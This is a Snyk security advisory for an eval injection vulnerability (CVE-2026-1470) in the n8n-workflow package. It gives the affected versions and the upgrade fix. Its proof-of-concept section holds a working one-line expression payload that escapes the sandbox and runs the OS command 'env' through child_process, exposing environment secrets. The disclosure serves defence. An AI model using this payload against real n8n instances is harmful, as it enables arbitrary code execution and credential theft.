Eval Injection Affecting n8n-workflow package, versions <1.120.7>=2.0.0-rc.0 <2.4.3>=2.5.0 <2.5.1
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-N8NWORKFLOW-15118125
- published27 Jan 2026
- disclosed27 Jan 2026
- creditNatan Nehorai
Introduced: 27 Jan 2026
CVE-2026-1470 (opens in a new tab)How to fix?
Upgrade n8n-workflow to version 1.120.7, 2.4.3, 2.5.1 or higher.
Overview
n8n-workflow is a Workflow base code of n8n
Affected versions of this package are vulnerable to Eval Injection during the Expression evaluation workflow. Expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime. An attacker can execute arbitrary code with the privileges of the main process by supplying crafted expressions during workflow configuration.
PoC
- Go to the n8n instance and create a new workflow
- Choose the "Edit Fields" block and double click on it
- Write the following payload in the field name or value:
{{ (function(){ var constructor = 123; with(function(){}){ return constructor("return process.mainModule.require('child_process').execSync('env').toString().trim()")() } })() }}
- Press "Execute step" and observe that the returned JSON object contains the
envOS command's output